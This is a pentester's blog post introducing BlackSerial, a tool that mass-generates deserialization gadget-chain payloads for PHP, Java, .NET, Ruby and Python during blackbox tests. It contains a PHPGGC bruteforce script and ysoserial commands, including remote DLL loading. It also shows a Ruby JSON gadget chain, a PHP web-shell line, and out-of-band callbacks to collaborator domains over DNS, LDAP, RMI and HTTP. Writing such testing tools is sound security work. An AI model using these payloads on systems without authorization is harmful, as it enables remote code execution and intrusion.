@darkpills cybersecurity blog

Sharing knowledge and experiments on cyber security topics.

BlackSerial: a Blackbox pentesting Gadget Chain Serializer

in  tools  ,

This article introduces BlackSerial, a tool for identifying working gadget chains during blackbox pentests by industrializing the payload generation with multiple tools, languages and formats.

It helps to identify working gadget chains in blackbox scenarios.

And also, as web application are relying more on more on JSON RESTfull API, it will help being more extensive on fuzzing JSON user input to detect underlying vulnerable deserialization vulnerabilities in libraries or custom implementation. This also apply for XML or YAML payloads.

BlackSerial logo

Context of deserialization vulnerabilities

Core language deserialisation provides powerfull feature that enables to recreate an object state in memory from a string. When this string is an untrusted user input, the attacker may instanciate other objects that the one intended initially by the developer. Processing those object could lead to a remote code execution.

Every language having deserialization feature have different serialization formats and most of the time base64 encoded. For instance, the following strings can help to identify deserialization:

  • Java: ac ed 00 05 magic bytes (hex) / rO0AB magic bytes (base64)
  • PHP: array: a:2:{i:0;s:3:"its";i:1;s:18:"wednesday my dudes";}, object: O:4:"Test":3:{s:6:"public";i:1;s:12:"\0*\0protected";i:2;s:13:"\0Test\0private";i:3;}
  • .Net: AAEAAAD///// BinaryFormatter base64 encoded
  • Ruby: \x04\bo:
  • And so on…

Moreover, applications may rely on third-pary libraries that implement their own deserialization format on top of the language.

Burp help to identify those vulnerabilities:

Burp deserialization issue notification

It is clearly a “niche” vulnerability as developpers tend to use less and less language core deserialization formats. However, once found, I could directly lead to jucy RCE 😍

I won’t expand too much on the basic of deserialization vulnerabilities as it is largely covered elsewhere.

How to find a working gadget chain in blackbox?

During a blackbox pentest, I identified a PHP deserialization of untrusted data on a web application. It was taking in POST parameter a serialized PHP object as shown below:

Request issue

But once identified, the next challenge is to find or craft a gadget chain that will end-up obtaining code execution. When we have access to the source code, he may search for chains.

But in blackbox pentesting, you do not have the source code, except if the application is opensource or if you already RCE with another vulnerability.

So, how do you solve this? 🤔

First attempt: a simple bruteforce script

The only option is to try the public chains one by one in a bruteforce approach, hopping that the application uses a vulnerable library.

I think like everyone, I started by crafting a simple shell script that would iterate over php public gadget chains. PHPGGC contains a good collection of them:

#!/bin/bash

rm -f payloads.txt

cmd="nslookup 2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com"
for cmdFunc in "shell_exec" "exec" "system"; do
    while read -r line; do 
        gadget=`echo $line| awk -F' ' '{print $1}'`; 
        /opt/tools/phpggc/phpggc $gadget "$cmd" -b -f >> payloads.txt
    done < <(/opt/tools/phpggc/phpggc -l | grep "RCE: Command") 

    while read -r line; do
        gadget=`echo $line| awk -F' ' '{print $1}'`
        /opt/tools/phpggc/phpggc $gadget "$cmdFunc('$cmd')" -b -f >> payloads.txt
    done < <(/opt/tools/phpggc/phpggc -l | grep "RCE: PHP Code")

    while read -r line; do
        gadget=`echo $line| awk -F' ' '{print $1}'`
        /opt/tools/phpggc/phpggc $gadget ./test.php shell.php -b -f >> payloads.txt
    done < <(/opt/tools/phpggc/phpggc -l | grep "File write")
done

I loaded the payload file in the intruder and it did the job actually. I managed to write a file ./test.php with Guzzle/FW1 gadget to get RCE 🤩:

Successfull write of test.php

After retrieving the application’s source code, I realised I managed to get in a mouse hole since the exploited gadget chain was the only one that could work. The application has few dependency and Guzzle was the only one that has a public chain:

$ ls -1 vendor 
bin
guzzlehttp
league
microsoft
PayPlug
yOauth
Zend

So, my first thought was: it could have been so easy to miss the Guzzle gadget if I was lazy in using the File write gadgets in my script. What if the working chains were the eval() gadgets I did not implemented?

I only tried with 3 functions shell_exec() exec() system() but there could be php.ini hardening with disable_functions that would need to try with some bypass.

So why not just implementing a tool that will industrialize this process and win some time for the next pentest.

A tool to the rescue?

At the begining, I wrote a simple python tool wrapper for PHPGGC that would just iterate cleanly over each gadgets.

I named it “BlackSerial”, “Black” for blackbox pentest and “Serial” for serializer (Thank you chatgpt for the logo 😅).

After a first working version, I though it could be nice to integrate serialisers in other language that present the same deserialisation vulnerabilities: Java, Python, C# at least.

The following paragraph describes the problem I faced and how I try to solve them.

Multiple heterogeneous tools

The issue

When I tried to replicate the work for phpggc, I realized that there has been plenty of tools for different purpose.

I faced the following issues:

  • There are a lot of industrialized and mature tools for Java (see list below), and then few for the others 😥
  • With all these tools for Java, you don’t really know which one is the most comprehensive in gadget chains list. There are duplicate in gadget coverage, making you obliged to test or review all the tools if you want to be exhaustive!
  • And even with all the referenced Java tools here, some nice payloads can be found in text files in repositories or in gist. Example: GrrrDog/Sploits
  • When a detection strategy is implemented, it is heterogeneous: time-based, DNS out-of-band, error-based…
  • There are sometime hard-coded DNS or IP in payloads
  • Fastjson library is a popular JSON deserialisation library for Java application. But it is barely covered by existing Java tools. The repository safe6Sec/Fastjson is a gold mine with a huge list of payloads waiting to be implemented 😍.
  • I discovered that deserialization also existed in lesser-known languages like Ruby with YAML or Marshal or NodeJS with some third-party libraries like node-serialize, which are not covered by Burp extensions for instance
  • Denial of service gadgets are mostly not implemented in Burp extensions for obvious reasons, but can be a big finding in scopes where availability is the key
  • Tools cover some or all of theses steps:
    1. Deserialization detection (mostly Burp plugins)
    2. Gadget chain identification (PHPGGC, ysoserial, …)
    3. Exploitation and RCE

A list of java tools for illustration:

Burp extensions:

Standalone tools:

Cheat-sheets:

Moreover,

  • There is no public referencial of gadget chains or exploits like to deserializations
  • The community or industry has defined no standard for the format of a gadget chains.

The solution

The solution was to try to make an integration project by gathering the most comprehensive tools together.

The idea was to avoid copy/pasting and clone/reuse as much as possible the tool in their current state.

For Java, a review of existing code base was made to make sure all existing gadgets were covered, and to cover some that are not into the tools like safe6Sec/Fastjson. I may have missed some. Please do not hesistate to make an issue or PR.

The current state of serializer integration is:

And for the absence of standard or referencial of gadget chains, I’m thinking about making another repository but did not started yet.

Managing heterogeneous input parameters

The issue

Have you ever tried to make a loop on PHPGGC or YSoSerial to generate all the payloads?

Well, it’s an interesting exercice… 😂

In PHPGGC, some chains are PHP Code exec, some are function call. So the following will produce a gadget chain:

phpggc -b Doctrine/RCE1 'id'

But in reality, it must be used like this:

phpggc -b Doctrine/RCE1 'shell_exec("id")'

And for Function call chains, it’s like this:

phpggc Laravel/RCE1 'shell_exec' 'id'

You have to manage all forms of input params depending on the chain type.

In YSOSerial, the help message provides the following usage:

ysoserial -h
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'

So you would just write something like:

for gadget in AspectJWeaver BeanShell1 ... Wicket1; do 
  ysoserial $gadget id | base64 >> payloads.txt
done

If it could be so simple… 😏

For some gadgets, the argument '[command]' is not the system command. For example, AspectJWeaver requires a format like <filename>:<base64 Object> from the error message:

ysoserial AspectJWeaver id                                           
Error while generating or serializing payload
java.lang.IllegalArgumentException: Command format is: <filename>:<base64 Object>
	at ysoserial.payloads.AspectJWeaver.getObject(AspectJWeaver.java:51)
	at ysoserial.payloads.AspectJWeaver.getObject(AspectJWeaver.java:41)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

You have to dig in the code to understand that <filename> is the local path on the remote server where the <base64 Object> will be written 🤯.

You can find more exotic cases with Jython1 and which error message just says Unsupportd command. Its format is '<local_py_file>;<remote_py_file>' with a local python file that will be written on the remote server and executed.

In YSOSerial.Net, for most gadgets the -c argument provides the system command to execute:

ysoserial.exe -g RolePrincipal -f BinaryFormatter -c whoami -o raw

But for BaseActivationFactory, -c is the remote URL of a DLL that will be loaded and this is not documented:

ysoserial.exe -g RolePrincipal -f BaseActivationFactory -c https://myserver.com/Exploit.dll -o raw

This is an edge case? No! For ObjRef, it’s a .net remoting service URL.

And if you dig in the plugins to generate them all, it’s getting even worse… Example with Sharepoint plugin format:

ysoserial.exe  -p 'SharePoint' --cve=CVE-2018-8421 -c 'https://domain.fr/sharepoint.dll' --useurl -o raw

In ruby, the oj-detection-ruby-3.3.json chain need a {CALLBACK_URL} input:

{
    "^#1": [
      [ { "^c": "Gem::SpecFetcher" },
        { "^o": "Gem::Requirement",
          "requirements": [
            ["~>",
              { "^o": "Gem::RequestSet::Lockfile",
                "set": {
                  "^o": "Gem::RequestSet",
                  "sorted_requests": [
                    { "^o": "Gem::Resolver::IndexSpecification",
                      "source": {
                        "^o": "Gem::Source",
                        "uri": {
                          "^o": "URI::HTTP",
                          "host": "{CALLBACK_URL}?",
                          "port": "any",
                          "scheme": "s3", "path": "/", "user": "any", "password": "any"
                        }}}]},
                "dependencies": []
              }]]}
      ],
      "any"
    ]
  }

So like me, you would just put your collaborator URL like this: http://ddumqtbjx6q509qib6tiuiyds4yvmlaa.oastify.com. Mistake! It requires something in the format ddumqtbjx6q509qib6tiuiyds4yvmlaa.oastify.com/something/any without the scheme and without the query string to work.

The solution

A made a big work in referencing all tools input formats 😅.

BlackSerial unifies the different input parameters of all supported serialisers with standards options.

The basic usage with system command that defaults to dns interaction:

python3 blackserial.py -s [java|php|csharp|python|ruby|nodejs] [-b|-u|-bu|-j] -i ddumqtbjx6q509qib6tiuiyds4yvmlaa.oastify.com  -c "nslookup ddumqtbjx6q509qib6tiuiyds4yvmlaa.oastify.com"

System command defaults to nslookup %%chain_id%%.%%domain%%

All LDAP calls, HTTP calls, remote DLL loading, remote JAR/class loading, .Net remoting… everything that could make a call, just make a callback to the interact domain to be able to detect that the gadget worked. It won’t RCE for sure but this is not the objective. This next steps are left to the auditor, like setting up remote java class loading, etc…

For gadgets that write content on the remote server, the 2 options --remote-file-to-write and --remote-content can be used across all languages:

python3 blackserial.py [...] --remote-content REMOTE_CONTENT --remote-file-to-write ./blackserial.%%ext%%

Remote content defaults to --jsp-code, --php-code, --python-code values. %%ext%% is php, jsp, py depending on the gadget chain.

For gadgets that read file on the remote server, use --remote-file-to-read:

python3 blackserial.py [...] --remote-file-to-read REMOTE_FILE_TO_READ

Remote file path defaults to C:\WINDOWS\System32\drivers\etc\hosts for c# and /etc/hosts for other languages.

It thought about integrating --windows and --linux options to specify working payloads for those hosts. But until here, only the LFI payloads need this distinction. Other commands are cross-OS compatible with nslookup command. I will see later if I integrate it.

Heterogeneous output formats

The issue

Most tools output directly the payload in binary. However, each formatter of YSOSerial.Net has a different type of output: sometimes binary, sometimes base64, sometimes XML, sometimes JSON…

In ruby, marshal-rce-ruby-3.4-rc.rb outputs the payload as a hex string as the last line of the output.

Some tools support JSON hex encoding or base64 URL safe, but some not.

The solution

BackSerial generates payloads in binary with each tools and with depending on the options encode it in the target output format. It also add encoding support to the tools that don’t have it:

  -u, --url             URL encodes the payload (default: False)
  -b, --base64          Base64 encode the payload (default: False)
  -bu, --base64-urlsafe Base64 URL safe encode the payload (default: False)
  -j, --json            JSON encode the payload (default: False)
  -x, --hex             Encode the payload as hex string (default: False)

Classic usage is to use base64 encoding especially for binary output. Most of the time, there is no sens in using binary payloads in Burp (but possible).

Note that when all payloads are put in 1 file like -o payloads.txt, non binary outputs like JSON, XML… are processed to remove line feed to be able to inject it in Burp Intruder. But when used with -o1 -o ./payloads/, it will leave the line feeds.

Referencing combination of gadgets/formatters

The issue

In marshalsec, there is no list of gadgets. Their input format is not documented. You have to try them one by one and read the code for some of them:

java  -cp marshalsec-all.jar marshalsec.BlazeDSAMF0 
No gadget type specified, available are [SpringPropertyPathFactory, C3P0WrapperConnPool]

java  -cp marshalsec-all.jar marshalsec.BlazeDSAMF0 SpringPropertyPathFactory  
java.lang.Exception: Gadget SpringPropertyPathFactory requires 1 arguments: [jndiUrl]
	at marshalsec.MarshallerBase.createObject(MarshallerBase.java:328)
	at marshalsec.MarshallerBase.doRun(MarshallerBase.java:165)
	at marshalsec.MarshallerBase.run(MarshallerBase.java:121)
	at marshalsec.BlazeDSAMF0.main(BlazeDSAMF0.java:62)

This makes the scripting of a loop more difficult as you need to list all gadgets and their input formats. Because they are also all differents…

In YSOSerial.Net, every gadget support a set of formatters. RolePrincipal supports a binary formatter, whereas GetterSecurityException supports only a json formatter.

.\ysoserial.exe -h
...
        (*) GetterSecurityException (supports extra options: use the '--fullhelp' argument to view)
                Formatters: Json.Net
...
        (*) RolePrincipal
                Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter

So you cannot just make a simple loop on BinaryFormatters and hope it will work. You need to list which gadget supports which formatter.

The solution

BlackSerial reference the list of gadgets for each tool that can be used with no previous knowledge. It also reference combination of compatible gadget => formatters.

For instance, here is the reference table of marshalers and input formats in marshalsec:

    marshalers = {
        'BlazeDSAMF0': ['SpringPropertyPathFactory', 'C3P0WrapperConnPool'],
        'BlazeDSAMF3': ['UnicastRef', 'SpringPropertyPathFactory', 'C3P0WrapperConnPool'],
        'BlazeDSAMFX': ['UnicastRef', 'SpringPropertyPathFactory', 'C3P0WrapperConnPool'],
        'Hessian': ['SpringPartiallyComparableAdvisorHolder', 'SpringAbstractBeanFactoryPointcutAdvisor', 'Rome', 'XBean', 'Resin'],
        'Hessian2': ['SpringPartiallyComparableAdvisorHolder', 'SpringAbstractBeanFactoryPointcutAdvisor', 'Rome', 'XBean', 'Resin'],
        'Burlap': ['SpringPartiallyComparableAdvisorHolder', 'SpringAbstractBeanFactoryPointcutAdvisor', 'Rome', 'XBean', 'Resin'],
        'Castor': [ 'SpringAbstractBeanFactoryPointcutAdvisor', 'C3P0WrapperConnPool'],
        'Jackson': ['UnicastRemoteObject', 'SpringPropertyPathFactory', 'SpringAbstractBeanFactoryPointcutAdvisor', 'C3P0WrapperConnPool', 'C3P0RefDataSource', 'JdbcRowSet', 'Templates'],
        'Java': ['XBean', 'CommonsBeanutils'],
        'JsonIO': ['UnicastRef', 'UnicastRemoteObject', 'Groovy', 'SpringAbstractBeanFactoryPointcutAdvisor', 'Rome', 'XBean', 'Resin', 'LazySearchEnumeration'],
        'JYAML':  ['C3P0WrapperConnPool', 'C3P0RefDataSource', 'JdbcRowSet'],
        'Kryo': ['SpringAbstractBeanFactoryPointcutAdvisor', 'CommonsBeanutils'],
        'KryoAltStrategy': ['Groovy', 'SpringPartiallyComparableAdvisorHolder', 'SpringAbstractBeanFactoryPointcutAdvisor', 'Rome', 'XBean', 'Resin', 'LazySearchEnumeration', 'BindingEnumeration', 'ServiceLoader', 'ImageIO', 'CommonsBeanutils'],
        'Red5AMF0': ['SpringPropertyPathFactory', 'C3P0WrapperConnPool', 'JdbcRowSet'],
        'Red5AMF3': ['SpringPropertyPathFactory', 'C3P0WrapperConnPool', 'JdbcRowSet'],
        'SnakeYAML': ['UnicastRemoteObject', 'SpringPropertyPathFactory', 'SpringAbstractBeanFactoryPointcutAdvisor', 'XBean', 'CommonsConfiguration', 'C3P0WrapperConnPool', 'C3P0RefDataSource', 'JdbcRowSet', 'ScriptEngine', 'ResourceGadget'],
        'XStream': ['SpringPartiallyComparableAdvisorHolder', 'SpringAbstractBeanFactoryPointcutAdvisor', 'Rome', 'XBean', 'Resin', 'CommonsConfiguration', 'LazySearchEnumeration', 'BindingEnumeration', 'ServiceLoader', 'ImageIO', 'CommonsBeanutils'],
        'YAMLBeans': ['C3P0WrapperConnPool']
    }

    payloadFormats = {
        'SpringPropertyPathFactory': "'<jndiUrl>'",
        'C3P0WrapperConnPool': "'<codebase>' '<class>'",
        'UnicastRef': "'<host>' '<port>'",
        'SpringPartiallyComparableAdvisorHolder': "'<jndiUrl>'",
        'SpringAbstractBeanFactoryPointcutAdvisor': "'<jndiUrl>'",
        'Rome': "'<jndiUrl>'",
        'XBean': "'<codebase>' '<classname>'",
        'Resin': "'<codebase>' '<class>'",
        'C3P0RefDataSource': "'<jndiUrl>'",
        'JdbcRowSet': "'<jndiUrl>'",
        'Templates': "'<system_command>'",
        'CommonsBeanutils': "'<jndiUrl>'",
        'UnicastRemoteObject': "'<port>'",
        'Groovy': "'<system_command>'",
        'LazySearchEnumeration': "'<codebase>' '<class>'",
        'BindingEnumeration': "'<codebase>' '<class>'",
        'ServiceLoader': "'<service_codebase>'",
        'ImageIO': "'<system_command>'",
        'CommonsConfiguration': "'<codebase>' '<class>'",
        'ScriptEngine': "'<codebase>'",
        'ResourceGadget': "'<codebase>' '<classname>'",
    }

Identifying what gadget chain worked

The issue

DNS callback are heavly used to confirm that the gadget chain is working before digging to the RCE.

When you have a DNS callback, you know at least one chain worked. But which one? 🤔

DNS callback in collaborator

You need to identify it to be able to replay it manually. And you don’t want to replay them one by one.

The solution

All out of band interactions (DNS, HTTP, TCP, RMI, LDAP) generated by BlackSerial include a chain ID in the DNS hostname and/or URL:

<chain-id>.fgz18t4bakpszxfivjnwbikfq6wxko8d.oastify.com

So a DNS callback in Burp look like this for PHPGGC Doctrine/RCE1 chain:

DNS callback in collaborator with payload id

So you don’t have to scratch your head to know which chain worked 🎊

In details, the following interact domain will generate the following calls:

python3 blackserial -s [php|java|ruby|csharp|python] -i 2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com

  DNS: %%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com
  HTTP: https://%%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com/%%chain_id%%
  JNDI: ldap://%%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com/%%chain_id%%
  Java remote class loading: https://%%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com/%%chain_id%%
  JAR remote loading: https://%%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com/%%chain_id%%.jar
  DLL remote loading: https://%%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com/%%chain_id%%.dll
  LDAP: ldap://%%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com/%%chain_id%%
  RMI: rmi://%%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com/%%chain_id%%
  Unicast: %%chain_id%%.2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com port 443

For file write gadgets, by default, it writes a file to ./blackserial.%%ext%% with a comment inside the file containing the chain ID:

python3 blackserial.py [...] --remote-content "<?php var_dump(shell_exec(\$_GET['c'])); // %%chain_id%%"
...

# on the remote server if the attack succeeded
cat ./blackserial.php
<?php var_dump(shell_exec($_GET['c'])); // guzzle-fw1

New opportunities for XML, JSON or YAML fuzzing

BlackSerial references properly what are the output gadget: binary, json, xml… Now that this harassing part is done, it opens new opportunities.

Imagine that you have an API with JSON request, and you don’t know the technology behind and want to test it against blind deserialization?

You can just generate cross-language JSON payloads with the following command:

python3 blackserial.py -s all -i 2kn8p3ozt3d9f0yqkml5z09c43auyrmg.oastify.com -f json

In this example, you will generate 44 payloads with Ruby OJ, Jackson, JsonIO, FastJson, FsPickler, or Json.Net. Here is an abstract of the generated payloads:

JSON payload abstract

And the same with XML or YAML.

Use it with Docker

There are many dependencies: PHP, JRE in version 8 specifically, wine (for ysoserial.net), ruby, python… Especially wine drags a lot of packages and you really don’t want to pollute your host with that.

BlackSerial has a Docker file to avoid those issues. Wine integration for YsoSerial.Net has been really long to test 😮‍💨 but it’s working :)

Go grab a coffe on the image build because of wine:

docker build --tag=blackserial:latest .
docker run -it --rm blackserial:latest -s all -v -i domain.fr

Vincent MICHEL (@darkpills)

I work as a pentester in a cyber security company. This blog aims at sharing my thoughts and experiments on different topics if it can help otheres: web and internal penetration tests, vulnerability research, write-ups, exploit development, security best practices, tooling, and so on... I previously worked as a senior software developer and switched to this wonderfull land of security :)